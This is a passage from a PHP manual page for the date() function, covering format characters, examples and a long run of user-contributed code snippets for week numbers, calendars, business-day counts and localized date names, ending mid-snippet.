r | » RFC 2822 formatted date | Example: Thu, 21 Dec 2000 16:01:07 +0200
U | Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) | See also time()

Unrecognized characters in the format string will be printed as-is. The Z format will always return 0 when using gmdate().

Note:

Since this function only accepts integer timestamps the u format character is only useful when using the date_format() function with user based timestamps created with date_create().

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a formatted date string. If a non-numeric value is used for timestamp, FALSE is returned and an E_WARNING level error is emitted.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 GMT to Tue, 19 Jan 2038 03:14:07 GMT. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer). However, before PHP 5.1.0 this range was limited from 01-01-1970 to 19-01-2038 on some systems (e.g. Windows).
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.
5.1.1 | There are useful constants of standard date/time formats that can be used to specify the format parameter.

Examples

Example #1 date() examples

<?php
// set the default timezone to use. Available since PHP 5.1
date_default_timezone_set('UTC');

// Prints something like: Monday
echo date("l");

// Prints something like: Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');

// Prints: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* use the constants in the format parameter */
// prints something like: Mon, 15 Aug 2005 15:12:46 UTC
echo date(DATE_RFC822);

// prints something like: 2000-07-01T00:00:00+00:00
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

You can prevent a recognized character in the format string from being expanded by escaping it with a preceding backslash. If the character with a backslash is already a special sequence, you may need to also escape the backslash.

Example #2 Escaping characters in date()

<?php
// prints something like: Wednesday the 15th
echo date('l \t\h\e jS');
?>

It is possible to use date() and mktime() together to find dates in the future or the past.

Example #3 date() and mktime() example

<?php
$tomorrow  = mktime(0, 0, 0, date("m")  , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"),   date("Y"));
$nextyear  = mktime(0, 0, 0, date("m"),   date("d"),   date("Y")+1);
?>

Note:

This can be more reliable than simply adding or subtracting the number of seconds in a day or month to a timestamp because of daylight saving time.

Some examples of date() formatting. Note that you should escape any other characters, as any which currently have a special meaning will produce undesirable results, and other characters may be assigned meaning in future PHP versions. When escaping, be sure to use single quotes to prevent characters like \n from becoming newlines.

Example #4 date() Formatting

<?php
// Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the
// Mountain Standard Time (MST) Time Zone

$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
$today = date("m.d.y");                         // 03.10.01
$today = date("j, n, Y");                       // 10, 3, 2001
$today = date("Ymd");                           // 20010310
$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
$today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
$today = date("H:i:s");                         // 17:16:18
?>

To format dates in other languages, you should use the setlocale() and strftime() functions instead of date().

Notes

Note:

To generate a timestamp from a string representation of the date, you may be able to use strtotime(). Additionally, some databases have functions to convert their date formats into timestamps (such as MySQL's » UNIX_TIMESTAMP function).

Tip

Timestamp of the start of the request is available in $_SERVER['REQUEST_TIME'] since PHP 5.1.

See Also

  • gmdate() - Format a GMT/UTC date/time
  • idate() - Format a local time/date as integer
  • getdate() - Get date/time information
  • getlastmod() - Gets time of last page modification
  • mktime() - Get Unix timestamp for a date
  • strftime() - Format a local time/date according to locale settings
  • time() - Return current Unix timestamp
  • strtotime() - Parse about any English textual datetime description into a Unix timestamp
  • Predefined DateTime Constants

User Contributed Notes

raotallinn dot ee at gmail dot com 07-Jan-2012 04:46
My code to check, whether the time between present and a specified time in number of seconds since Unix Epoch is bigger then specified number of days.

Examples
<?php
//time() is 604800, that is 7 days since Unix Epoch
timecheck(0, 6) //Returns TRUE
?>
<?php
//time() is 604800, that is 7 days since Unix Epoch
timecheck(0, 8) //Returns FALSE
?>

<?php
timecheck($date, $days)
{
$seconds = $days * 24 * 60 * 60;
$deadline = $date + $seconds;
if(time > deadline)
{
return TRUE;
}
else
{
return FALSE;
}
}
?>
Jimmy 22-Dec-2011 05:04
Things to be aware of when using week numbers with years.

<?php
echo date("YW", strtotime("2011-01-07")); // gives 201101
echo date("YW", strtotime("2011-12-31")); // gives 201152
echo date("YW", strtotime("2011-01-01")); // gives 201152 too
?>

BUT

<?php
echo date("oW", strtotime("2011-01-07")); // gives 201101
echo date("oW", strtotime("2011-12-31")); // gives 201152
echo date("oW", strtotime("2011-01-01")); // gives 201052 (Year is different than previous example)
?>

Reason:
Y is year from the date
o is ISO-8601 year number
W is ISO-8601 week number of year

Conclusion:
if using 'W' for the week number use 'o' for the year.
Rod 09-Nov-2011 11:25
This example is to show the name of the day in spanish
<?php
$dia = date("w"); //represtan el dia de la semana de 0 a 6, Dom a Sab

echo "El dia de la semana es $dia <br>";

switch($dia){
    case 0: $dia_texto = "Domingo"; break;
    case 1: $dia_texto = "Lunes"; break;
    case 2: $dia_texto = "Martes"; break;
    case 3: $dia_texto = "Miercoles"; break;
    case 4: $dia_texto = "Jueves"; break;
    case 5: $dia_texto = "Viernes"; break;
    case 6: $dia_texto = "Sabado"; break;
    default: $dia_texto = "Error";
}

echo "El dia de la semana es $dia_texto";
?>
martin at eksperimentrum dot dk 31-Oct-2011 02:51
How to get the week starting date by giving a week number and the year. Monday first day in week

<?php
function WeekStartDate($week,$year,$format="d-m-Y") {
    date_default_timezone_set('Europe/Paris');
    $firstDayInYear=date("N",mktime(0,0,0,1,1,$year));
    if ($firstDayInYear<5)
        $shift=-($firstDayInYear-1)*86400;
    else
        $shift=(8-$firstDayInYear)*86400;
    if ($week>1) $weekInSeconds=($week-1)*604800; else $weekInSeconds=0;
    $timestamp=mktime(0,0,0,1,1,$year)+$weekInSeconds+$shift;
    return date($format,$timestamp);
}

echo WeekStartDate(44,2011);
//result: 31-10-2011
?>
alexander at acmbdesign dot com 09-Oct-2011 07:15
A smaller "time since incident" example that takes a datetime string as input :

<?php function timesince( $tsmp ) {

$diffu = array(  'seconds'=>2, 'minutes' => 120, 'hours' => 7200, 'days' => 172800, 'months' => 5259487,  'years' =>  63113851 );
$diff = time() - strtotime($tsmp);
$dt = '0 seconds ago';
foreach($diffu as $u => $n){ if($diff>$n) {$dt = floor($diff/(.5*$n)).' '.$u.' ago';} }

return $dt;
}

?>

// example output: 10 seconds ago / 90 minutes ago / 16 months ago / 3 years ago
zimplicit 06-Oct-2011 10:36
This is how you can get the week starting date and ending date by giving a week number and the year.

<?php
function week_start_date($wk_num, $yr, $first = 1, $format = 'Y-m-d')
{
    $wk_ts  = strtotime('+' . $wk_num . ' weeks', strtotime($yr . '0101'));
    $mon_ts = strtotime('-' . date('w', $wk_ts) + $first . ' days', $wk_ts);
    return date($format, $mon_ts);
}

//Get starting date of week 40 2011
$sStartDate = week_start_date(40, 2011);
//Get the ending date of the same week
$sEndDate   = date('Y-m-d', strtotime('+6 days', strtotime($sStartDate)));

//Get current week and year
$week = date('w');
$year = date('Y');
?>
Dovid 27-Sep-2011 06:24
Here is a basic example that shows how to use times and dates with epoch and time zones.

<?PHP

echo "Current EPOCH is: ".time() .".\n";

//Changge the TZ to Los Angeles
date_default_timezone_set('America/Los_Angeles');

echo "As you can see after the TZ change to America/Los_Angeles the EPOCH is the same which is: ".time() .".\n";

//Changge the TZ to Prauge
date_default_timezone_set('Europe/Prague');

echo "As you can see after the TZ change to Europe/Prague the EPOCH is the same which is: ".time() .".\n";

//As per our last TZ change we are on Europe/Prague so if we want to get the epoch for 00:00:00 on 01-01-2012 we do:
echo "The value of 00:00:00 on 01-01-2012 for Europe/Praugue is: ".mktime('00', '00', '00', '1', '1', '2012').".\n";

//To get the epoch of 00:00:00 for today in Europe/Praugue
echo "The value of 00:00:00 for today in Europe/Praugue is: ".mktime('00', '00', '00', date("n"), date("j"), date("Y") ).".\n";

// We will now change the time zone to America/Loas_Angeles and do the same all over
//Changge the TZ to Los Angeles
date_default_timezone_set('America/Los_Angeles');

//As per our last TZ change we are on America/Los_Angeles so if we want to get the epoch for 00:00:00 on 01-01-2012 we do:
echo "The value of 00:00:00 on 01-01-2012 for America/Los_Angeles is: ".mktime('00', '00', '00', '1', '1', '2012').".\n";

//To get the epoch of 00:00:00 for today in America/Los_Angeles
echo "The value of 00:00:00 for today in America/Los_Angeles is: ".mktime('00', '00', '00', date("n"), date("j"), date("Y") ).".\n";

?>
gothamxi at gmail dot com 04-Sep-2011 03:07
simple calendar generator:

<?php
$dw=date(N);//this day of the week, numeric
$d=date(j);//this date
$m=date(m);//this month
$y=date(o);//this year

echo "<div id='CALENDAR DIV'><span style='font-size:20px;display:block;width:100%;text-align:center;'>";

echo date("F",mktime(0, 0, 0, $m, 1, $y));

echo "</span><table style='border:2px solid black;border-collapse:collapse;'>";

function mlength($month,$year){
return cal_days_in_month(CAL_GREGORIAN, $month, $year);//finds length of given month
}

$tml=mlength($m,$y);//this month's length

$cc=1;//day of the week counter
$day=1;
$tmd1=date("N", mktime(0, 0, 0, $m, 1, $y));//this month day 1, day of the week, numeric

//write out calendar---------------------------------------------------------------------
//days of the week
$dwcc=1;//counter for days of the week row
while($dwcc<=7){
    $dwrow.="<td style='padding:15px;width:150px;height:auto;border:2px solid #333;' >".date("l", mktime(0, 0, 0, 8, $dwcc, 2011))."</td>\r\n";
    $dwcc=$dwcc+1;
    }
$tblrows="<tr>\r\n".$dwrow."\r\n</tr>\r\n\r\n";
//last days of last month
if($tmd1!=1){
    while($cc<$tmd1){
    $tblrows.=(($cc==1)?"<tr>\r\n":"")."<td style='padding:15px;width:150px;height:150px;border:2px solid black;' >&nbsp;</td>\r\n";
    $cc=($cc==7)?1:$cc+1;
    }
}
//this month
while($day<=$tml){

    $tblrows.=(($cc==1)?"<tr>\r\n":"")."<td style='padding:15px;width:150px;height:150px;border:2px solid black;".(($day==$d)?"background-color:#999;":"")."' >".$day."</td>\r\n".(($cc==7)?"\r\n</tr>\r\n\r\n":"");
    $cc=($cc==7)?1:$cc+1;
    $day=$day+1;

}
//first days of next month
if($cc!=7){
    while($cc<=7){
    $tblrows.="<td style='padding:15px;width:150px;height:150px;border:2px solid black;' >&nbsp;</td>\r\n".(($cc==7)?"\r\n</tr>\r\n\r\n":"");
    $cc=$cc+1;
    }
}
echo $tblrows;

echo "</table></div>";
?>
seldimi at gmail dot com 29-Aug-2011 08:45
Simple but useful function to get academic year.

<?php
function academic_year() {
    $year=date(Y);
    if (date(n)<8)
        $year--;
    return $year;
}
?>
blinov vyacheslav AT gmail.com 23-Aug-2011 07:06
It was oblivious and discouraging that it dont mentioned in docs. If you will use W to get week number be aware:
first days of year can be in a week of previous year, and week number always has leading zero

<?php

echo date("YW", strtotime("2011-01-07")); // gives 201101
echo date("YW", strtotime("2011-01-01")); // gives 201152
echo date("YW", strtotime("2011-12-31")); // gives 201152 too

?>

so you can`t rely on number of week given from this function inside your program if you want to use it for some logic
Chris 19-Aug-2011 08:42
Convert a week number to a date:

<?php
$year = 2011;
$week_num_correction = strftime('%U', mktime(0,0,0,1,1,$year)) === '00' ? 1 : 0;

for($week = 1; $week < 54; $week++) {
    $begin = strtotime("this sunday +".(($week-1)-$week_num_correction)." weeks", mktime(0,0,0,1,1,$year));
    echo "week $week of $year starts on ", date('M j Y', $begin);
}
?>

The "week_number_correction" is to convert from ISO week #'s to US week numbers (weeks begin on Sunday, 1st day is first week).
zryty.hekko.pl 05-Aug-2011 11:46
Correct Polish date:

<?php
function pldate($format='j F Y',$date=False){
    $date = (is_numeric($date)?$date:time());

    $m=array(1=>'styczeń','luty','marzec','kwiecień','maj','czerwiec',
    'lipiec','sierpień','wrzesień','październik','listopad','grudzień');
    $ms=array(1=>'sty','lut','mar','kwi','maj','cze',
    'lip','sie','wrz','paź','lis','gru');
    $md=array(1=>'stycznia','lutego','marca','kwietnia','maja','czerwca',
    'lipca','sierpnia','września','października','listopada','grudnia');
    $d=array(0=>'Niedziela','Poniedziałek','Wtorek','Środa','Czwartek','Piątek','Sobota');
    $ds=array(0=>'Nd','Pn','Wt','Śr','Cz','Pt','So');

    $f = str_split($format);
    for($i=0;$i<count($f);$i++){
        if($f[$i]!="\\"){
            switch($f[$i]){
                case 'F':
                    $f[$i] = $md[date('n',$date)];
                    break;
                case 'f':
                    $f[$i] = $m[date('n',$date)];
                    break;
                case 'M':
                    $f[$i] = $ms[date('n',$date)];
                    break;
                case 'l':
                    $f[$i] = $d[date('w',$date)];
                    break;
                case 'D':
                    $f[$i] = $ds[date('w',$date)];
                    break;
                default:
                    $f[$i] = date($f[$i],$date);
            }

        }else{
            $f[$i]='';
            $i++;
        }
    }
    return implode('',$f);
}
?>
joseph_robert_martinez at yahoo dot com 25-Jul-2011 08:05
Now, this works for me, as our week starts on Fri, not Sun, and takes in account of the day light savings time issues that I was having when displaying the days in a calendar format.

This takes an array of dates from a mysql query, and displays them in a calendar style view

<?php

$cDates = count($Dates);

for($k = 1; $k <= $cDates-2; $k++)
{
    $t = $k; $p = $t + 1;
    $start = strtotime($Dates[$k]["DTG"]);
    $stop  = strtotime($Dates[$p]["DTG"]);
    $dayTotal = ($stop - $start)/24/60/60;

    $date = date("Y-m-d", $start); // starting date (YYYY-MM-DD)
    $temp = date("Y-m-d", $stop); // ending date (YYYY-MM-DD)
    $end = date("Y-m-d",strtotime("-1 day",$stop));

    echo "\n<table style=\"align:center;width:100%;\">";
    echo "\n    <tr>";
    echo "\n        <th colspan=\"7\" align=\"center\"><strong>";
    echo "\n        </strong></th>";
    echo "\n    </tr>";
    echo "\n    <tr>";
    echo "\n        <th>Fri</th>";
    echo "\n        <th>Sat</th>";
    echo "\n        <th>Sun</th>";
    echo "\n        <th>Mon</th>";
    echo "\n        <th>Tue</th>";
    echo "\n        <th>Wed</th>";
    echo "\n        <th>Thu</th>";
    echo "\n    </tr>";
    echo "\n    <tr>";

    $offset = date("w", strtotime($date));
    if($offset <= 4) // to add spaces to beginning of row
    {
        for($i = 0; $i <= $offset+1; $i++){echo "\n    <td><br /></td>";}
        $count = $offset+2;
    }
    else
    {
        $count = 0;
    }

    while($date <= $end)
    {
        echo "\n        <td>" . date("d M", strtotime($date)) ."::". date("w",strtotime($date)). "</td>";

        $date = date('Y-m-d',strtotime("$date +1 day")); // get the next date
        if($count >= 6) // to set next row
        {
            $count = 0;
            echo "\n    </tr><tr>";
        }
        else
        {
            $count++;
        }
    }
    for($i = $count; $i <= 6; $i++){echo "\n        <td><br /></td>";}// to add spaces at end of row
    echo "\n    </tr>";
    echo "\n</table>";
}
?>
milespickens+php at gmail dot com 19-May-2011 06:55
I needed to find out the Greater or Lesser dates for a few results sets.  I'm not running 5.3 so I came up with this function to return either the greater or lesser date.  The function is expecting dates in the MM/DD/YYYY format and the 3rd variable that is is looking for is either G or L so it will know whether to return the lesser or greater date.

<?php
        function greater_lesser_date($date1,$date2,$gl = false){
            ///$gl is expecting either a G or an L to know whether you want
            ///greater or lesser returned
            $d1m = substr($date1,0,2);
            $d1d = substr($date1,3,2);
            $d1y = substr($date1,6,4);
            $d1 = mktime(0,0,0,$d1m,$d1d,$d1y);
            $d2m = substr($date2,0,2);
            $d2d = substr($date2,3,2);
            $d2y = substr($date2,6,4);
            $d2 = mktime(0,0,0,$d2m,$d2d,$d2y);

            if( strtoupper($gl) == 'L') {
                $date = ($d1>$d2?$d2:$d1);
            } else {
                $date = ($d1<$d2?$d2:$d1);
            }
            return date('m/d/Y', $date);

        }
?>
rakeshnsony at gmail dot com 29-Apr-2011 04:40
<?php
/*
* Date: 29 April 2011
* Rakesh Verma
* Financial year quarter calculation
*/

// Calculation for financial year quarter(s)
        $qtr1=array(04,05,06);
        $qtr2=array(07,08,09);
        $qtr3=array(10,11,12);
        $qtr4=array(01,02,03);
        $c_month=date('m');

// check for quarter number
        if(in_array($c_month,$qtr1)) {
            echo "Quarter I";
        } else if(in_array($c_month,$qtr2)) {
            echo "Quarter II";
        }  else if(in_array($c_month,$qtr3)) {
            echo "Quarter III";
        }  else if(in_array($c_month,$qtr4)) {
            echo "Quarter IV";
        }
?>
manchesterboy at gmail dot com 14-Apr-2011 09:29
a simple method to work out future dates from a given one.

<?php
 /**
     * Handles a date in the format YYYYMMDD.
     *
     * Doesn't take a genius to modify it to use some other format.

     * We provide either of the following units:
     *   'h' -> 'hour', 'i' -> 'minute', 's' -> 'second',
     *   'm' -> 'month','d' -> 'day'   , 'y' -> 'year'
     */
    public static function getNextDate($date, $amount, $unit='d'){
        $dividers = array(' ', ':', '_', '-', '/', '|');
        $date = str_replace($dividers, '', $date);
        $unit = strtolower($unit);
        list($y, $m, $d)  = array(substr($date, 0, 4), substr($date, 4, 2), substr($date, 6));
        list($h, $i, $s) = array(1, 0, 0);
        $x = substr($unit, 0, 1);
        $$x += $amount;
        return date('Ymd', mktime($h, $i, $s, $m, $d, $y));
    }
?>
scorp at scorp dot ca 30-Mar-2011 07:18
Spend lot of time to find correct function to calculate next invoice (billing) date, but didn't find. Make new one.

Condition:
Source date: 2011-01-31
Recurring payments each month at same day or early if source day more than end of month (31 is more than 28 Feb for example).

Here is results:

<?php

function get_next_invoice_date($source_date, $last_date)
{

    if (is_null($last_date) || ($last_date == ''))
    {
        return $source_date;
    }

    $srctime = strtotime($source_date);
    $lasttime = strtotime($last_date);

    $source_day = date("d", $srctime);

    $next_month = date("Y-m", strtotime( date("Ym", $lasttime) . '01 +1 month' ));

    $next_month_time = strtotime($next_month);

    $next_month_last_day = date("d", strtotime("-1 second", strtotime("+2 month", strtotime( date("Y", $lasttime) . date("m", $lasttime) . "01" ))));

    if ($source_day > $next_month_last_day)
    {
        $new_day = $next_month_last_day;
    }
    else
    {
        $new_day = $source_day;
    }

    $next_invoice_date = $next_month . '-' . $new_day;

    return $next_invoice_date;

} // get_next_invoice_date

// Test:
$first_invoice_date = '2011-01-31';
$last_invoice_date = '';
$list = array();

for ($i = 1; $i <= 24; $i++)
{
    $last_invoice_date = get_next_invoice_date($first_invoice_date, $last_invoice_date);
    $list[] = $last_invoice_date;
}

print_r($list);

?>
ivan at rayvanbros dot com 29-Mar-2011 10:38
If you are simply trying to generate a date set in the future (for example, to setup a conditional to check if a value was created a month ago). You can use this.

<?php
print date('m-d-Y',strtotime('+1 month', '1301413787'));
// generates 04-29-2011
?>

This syntax was not noted in an easy to read place within the strtotime() or date() function pages, so just adding as note.
iantresman 20-Mar-2011 03:49
Here's a quick way to display the season (Winter, Spring, Summer, Autumn) from a date. Dec, Jan, Feb are Winter, etc.

<?php
$seasons = array("Winter","Spring","Summer","Autumn");
echo $seasons[(int)((date("n") %12)/3)];
?>

date("n") produces a numeric month 1..12
date("n") %12 (modulus 12) converts month 12 (Dec) to 0
Then we divide by 3 and convert to an integer to produce four groups, 0,1,2,3.
Then we display the nth array element.
marat dot abilov at gmail dot com 13-Mar-2011 09:35
Function for get date interval in Russian format

<?php
function getDateDiff($firstDate, $secondDate) {
  $firstTimeStamp = strtotime($firstDate);
  $secondTimeStamp = strtotime($secondDate);

  $base_day = date('j', $secondTimeStamp);
  $base_mon = date('n', $secondTimeStamp);
  $base_yr = date('Y', $secondTimeStamp);

  $current_day = date ('j', $firstTimeStamp);
  $current_mon = date ("n", $firstTimeStamp);
  $current_yr  = date ("Y", $firstTimeStamp);

  // and now .... calculate the difference! :-)

  // overflow is always caused by max days of $base_mon
  // so we need to know how many days $base_mon had
  $base_mon_max           = date ("t",mktime (0,0,0,$base_mon,$base_day,$base_yr));

  // days left till the end of that month
  $base_day_diff          = $base_mon_max - $base_day;

  // month left till end of that year
  // substract one to handle overflow correctly
  $base_mon_diff          = 12 - $base_mon - 1;

  // start on jan 1st of the next year
  $start_day              = 1;
  $start_mon              = 1;
  $start_yr               = $base_yr + 1;

  // difference to that 1st of jan
  $day_diff       = ($current_day - $start_day) + 1;      // add today
  $mon_diff       = ($current_mon - $start_mon) + 1;      // add current month
  $yr_diff        = ($current_yr - $start_yr);

  // and add the rest of $base_yr
  $day_diff       = $day_diff + $base_day_diff;
  $mon_diff       = $mon_diff + $base_mon_diff;

  // handle overflow of days
  if ($day_diff >= $base_mon_max) {
    $day_diff = $day_diff - $base_mon_max;
    $mon_diff = $mon_diff + 1;
  }

  // handle overflow of years
  if ($mon_diff >= 12) {
    $mon_diff = $mon_diff - 12;
    $yr_diff = $yr_diff + 1;
  }

  $result = '';

  if ($yr_diff > 0) {
    if ($yr_diff >= 5 && $yr_diff <= 20) {
      $yearLabel = 'лет';
    }
    elseif ($yr_diff % 10 == 1) {
      $yearLabel = 'год';
    }
    elseif ($yr_diff % 10 <= 4) {
      $yearLabel = 'года';
    }
    else {
      $yearLabel = 'лет';
    }

    $result .= $yr_diff . ' ' . $yearLabel . ' ';
  }

  if ($mon_diff > 0) {
    if ($mon_diff == 1) {
      $monthLabel = 'месяц';
    }
    elseif ($mon_diff <= 4) {
      $monthLabel = 'месяца';
    }
    else {
      $monthLabel = 'месяцев';
    }

    $result .= $mon_diff . ' ' . $monthLabel . ' ';
  }

  if ($day_diff > 0) {
    if ($day_diff >= 5 && $day_diff <= 20) {
      $dayLabel = 'дней';
    }
    elseif ($day_diff % 10 == 1) {
      $dayLabel = 'день';
    }
    elseif ($day_diff % 10 <= 4) {
      $dayLabel = 'дня';
    }
    else {
      $dayLabel = 'дней';
    }

    $result .= $day_diff . ' ' . $dayLabel . ' ';
  }

  return array($yr_diff, $mon_diff, $day_diff);
}
?>
india dot yogi at gmail dot com 07-Feb-2011 02:58
<?php
// will echo all saturdays found between date range.
function getAllSaturdays($from_date, $to_date){
    // getting number of days between two date range.
    $number_of_days = count_days(strtotime($from_date),strtotime($to_date));

    for($i = 1; $i<=$number_of_days; $i++){
        $day = Date('l',mktime(0,0,0,date('m'),date('d')+$i,date('y')));
        if($day == 'Saturday'){
            echo Date('d-m-Y',mktime(0,0,0,date('m'),date('d')+$i,date('y'))),'<br/>';
        }
    }
}
// Will return the number of days between the two dates passed in
function count_days( $a, $b )
{
    // First we need to break these dates into their constituent parts:
    $gd_a = getdate( $a );
    $gd_b = getdate( $b );
    // Now recreate these timestamps, based upon noon on each day
    // The specific time doesn't matter but it must be the same each day
    $a_new = mktime( 12, 0, 0, $gd_a['mon'], $gd_a['mday'], $gd_a['year'] );
    $b_new = mktime( 12, 0, 0, $gd_b['mon'], $gd_b['mday'], $gd_b['year'] );
    // Subtract these two numbers and divide by the number of seconds in a
    // day. Round the result since crossing over a daylight savings time
    // barrier will cause this time to be off by an hour or two.
    return round( abs( $a_new - $b_new ) / 86400 );
}
$from_date = Date('d-m-Y'); // todays date
$to_date = Date('d-m-Y',mktime(0,0,0,date('m'),date('d'),date('y')+1)); // date with one year difference i.e. same date of next year

getAllSaturdays($from_date,$to_date);
?>
khaine at herbok dot org 18-Dec-2010 02:59
A function to show $a days later.

<?php
function dateafter ( $a )
{
    $hours = $a * 24;
    $added = ($hours * 3600)+time();
    $days = date("l", $added);
    $month = date("F", $added);
    $day = date("j", $added);
    $year = date("Y", $added);
    $result = "$day $month $year - $days";
    return ($result);
}
echo dateafter("10");
//this will shows the data of ten days after.
// if today is 19 December 2010, Sunday, the page prints : 29 December 2010 - Wednesday.
?>
ghotinet 13-Dec-2010 10:06
Most spreadsheet programs have a rather nice little built-in function called NETWORKDAYS to calculate the number of business days (i.e. Monday-Friday, excluding holidays) between any two given dates. I couldn't find a simple way to do that in PHP, so I threw this together. It replicates the functionality of OpenOffice's NETWORKDAYS function - you give it a start date, an end date, and an array of any holidays you want skipped, and it'll tell you the number of business days (inclusive of the start and end days!) between them.

I've tested it pretty strenuously but date arithmetic is complicated and there's always the possibility I missed something, so please feel free to check my math.

The function could certainly be made much more powerful, to allow you to set different days to be ignored (e.g. "skip all Fridays and Saturdays but include Sundays") or to set up dates that should always be skipped (e.g. "skip July 4th in any year, skip the first Monday in September in any year"). But that's a project for another time.

<?php

function networkdays($s, $e, $holidays = array()) {
    // If the start and end dates are given in the wrong order, flip them.
    if ($s > $e)
        return networkdays($e, $s, $holidays);

    // Find the ISO-8601 day of the week for the two dates.
    $sd = date("N", $s);
    $ed = date("N", $e);

    // Find the number of weeks between the dates.
    $w = floor(($e - $s)/(86400*7));    # Divide the difference in the two times by seven days to get the number of weeks.
    if ($ed >= $sd) { $w--; }        # If the end date falls on the same day of the week or a later day of the week than the start date, subtract a week.

    // Calculate net working days.
    $nwd = max(6 - $sd, 0);    # If the start day is Saturday or Sunday, add zero, otherewise add six minus the weekday number.
    $nwd += min($ed, 5);    # If the end day is Saturday or Sunday, add five, otherwise add the weekday number.
    $nwd += $w * 5;        # Add five days for each week in between.

    // Iterate through the array of holidays. For each holiday between the start and end dates that isn't a Saturday or a Sunday, remove one day.
    foreach ($holidays as $h) {
        $h = strtotime($h);
        if ($h > $s && $h < $e && date("N", $h) < 6)
            $nwd--;
    }

    return $nwd;
}

$start = strtotime("1 January 2010");
$end = strtotime("13 December 2010");

// Add as many holidays as desired.
$holidays = array();
$holidays[] = "4 July 2010";            // Falls on a Sunday; doesn't affect count
$holidays[] = "6 September 2010";        // Falls on a Monday; reduces count by one

echo networkdays($start, $end, $holidays);    // Returns 246

?>

Or, if you just want to know how many work days there are in any given year, here's a quick function for that one:

<?php

function workdaysinyear($y) {
    $j1 = mktime(0,0,0,1,1,$y);
    if (date("L", $j1)) {
        if (date("N", $j1) == 6)
            return 260;
        elseif (date("N", $j1) == 5 or date("N", $j1) == 7)
            return 261;
        else
            return 262;
    }
    else {
        if (date("N", $j1) == 6 or date("N", $j1) == 7)
            return 260;
        else
            return 261;
    }
}

?>
iphraimov at gmail dot com 08-Dec-2010 08:15
Here is simple function to generate date selection, useful for admin panels ....

<?php
    public static function dateRange($fmt = 'j-n-Y', $sep='+') {
        $current_time = time();
        $year = date('Y',$curr_time);
        $month = date('n',$curr_time);
        $day = date('j',$curr_time);
        $today = date($fmt, $curr_time);

        $r = array (
            'all'        => $sep.$sep.$sep,
            'today'        => $today.$sep.$today,
            'yesterday' => date($fmt, strtotime('-1 day',$curr_time)).$sep.date($fmt, strtotime('-1 day',$curr_time)),
            'last7days' => date($fmt, strtotime('-7 day',$curr_time)).$sep.$today,
            'thismonth' => date($fmt, mktime(0,0,0,$month, 1, $year)).$sep.$today,
            'thisyear'    => date($fmt, mktime(0,0,0,1, 1, $year) ).$sep.$today,
        );

        return  $r;
    }
?>
neemias dot godinho at yahoo dot com dot br 01-Dec-2010 11:41
this function returns the current date of server subtracted from a number of days passed as parameter

<?php

function subtractDaysFromToday($number_of_days)
{
    $today = mktime(0, 0, 0, date('m'), date('d'), date('Y'));

    $subtract = $today - (86400 * $number_of_days);

    //choice a date format here
    return date("Y-m-d", $subtract);
}

?>
vlado dot nikolchev at gmail dot com 30-Nov-2010 03:13
Simple and handy function that offsets a MySQL formatted date and returns the new correctly formatted date

<?php
/**
 *
 * @param string $dt            // MySQL formatted date (like 2010-01-01)
 * @param int $year_offset        // like 2 or -2, or 5 or -5 ...
 * @param int $month_offset    // like 2 or -2, or 5 or -5 ...
 * @param in $day_offset        // like 2 or -2, or 5 or -5 ...
 * @return string             // the new MySQL formatted date (like 2009-07-01)
 */

function MySQLDateOffset($dt,$year_offset='',$month_offset='',$day_offset='')
{
      return ($dt=='0000-00-00') ? '' :
date ("Y-m-d", mktime(0,0,0,substr($dt,5,2)+$month_offset,substr($dt,8,2)+
$day_offset,substr($dt,0,4)+$year_offset));
}
?>

Examples:

<?php
echo MySQLDateOffset('2010-06-01',2,5,15);

// will return 2012-11-16

echo MySQLDateOffset('2010-06-01',-6,5,38);

// will return 2004-12-09
?>
purefusion2 at yahoo dot com 20-Nov-2010 08:40
A really simple way to check if today's the last day of the month:

<?php
// If today is the last day of the month, do stuff
if(date('j') == date('t')) {
  // Do Stuff
}
?>
Gledison 09-Nov-2010 06:24
Simple function to return the last business day of a given month (but this does not check holidays)
Função para retornar o último dia útil de um determinado mês (não verifica feriados)

example:
<?php echo last_business_day(2010,02); //2010-02-26 ?>

<?php
function last_business_day($year,$month)
{
  $lbd = cal_days_in_month(CAL_GREGORIAN, $month, $year);
  $wday = date("N",strtotime("$year-$month-$lbd"));
  if ($wday == 7) $lbd -= 2;
  if ($wday == 6) $lbd--;
  $lbd = date("Y-m-d",strtotime("$year-$month-$lbd"));
  return $lbd;
}
?>
mijreed at yahoo dot com 17-Oct-2010 01:02
A function I use for 'date ago' used on message/comment boards

First, use this date('ymdHi') whenever entering the timestamp into your database.

Here's the function to retrieve how long ago it was entered. $querydate is timestamp retrieved from the database. Just call this function.

<?php
function returnDate($querydate){

$minusdate = date('ymdHi') - $querydate;

if($minusdate > 88697640 && $minusdate < 100000000){
    $minusdate = $minusdate - 88697640;
}

    switch ($minusdate) {

        case ($minusdate < 99):
                    if($minusdate == 1){
                        $date_string = '1 minute ago';
                    }
                    elseif($minusdate > 59){
                        $date_string =  ($minusdate - 40).' minutes ago';
                    }
                    elseif($minusdate > 1 && $minusdate < 59){
                        $date_string = $minusdate.' minutes ago';
                    }
        break;

        case ($minusdate > 99 && $minusdate < 2359):
                    $flr = floor($minusdate * .01);
                    if($flr == 1){
                        $date_string = '1 hour ago';
                    }
                    else{
                        $date_string =  $flr.' hours ago';
                    }
        break;

        case ($minusdate > 2359 && $minusdate < 310000):
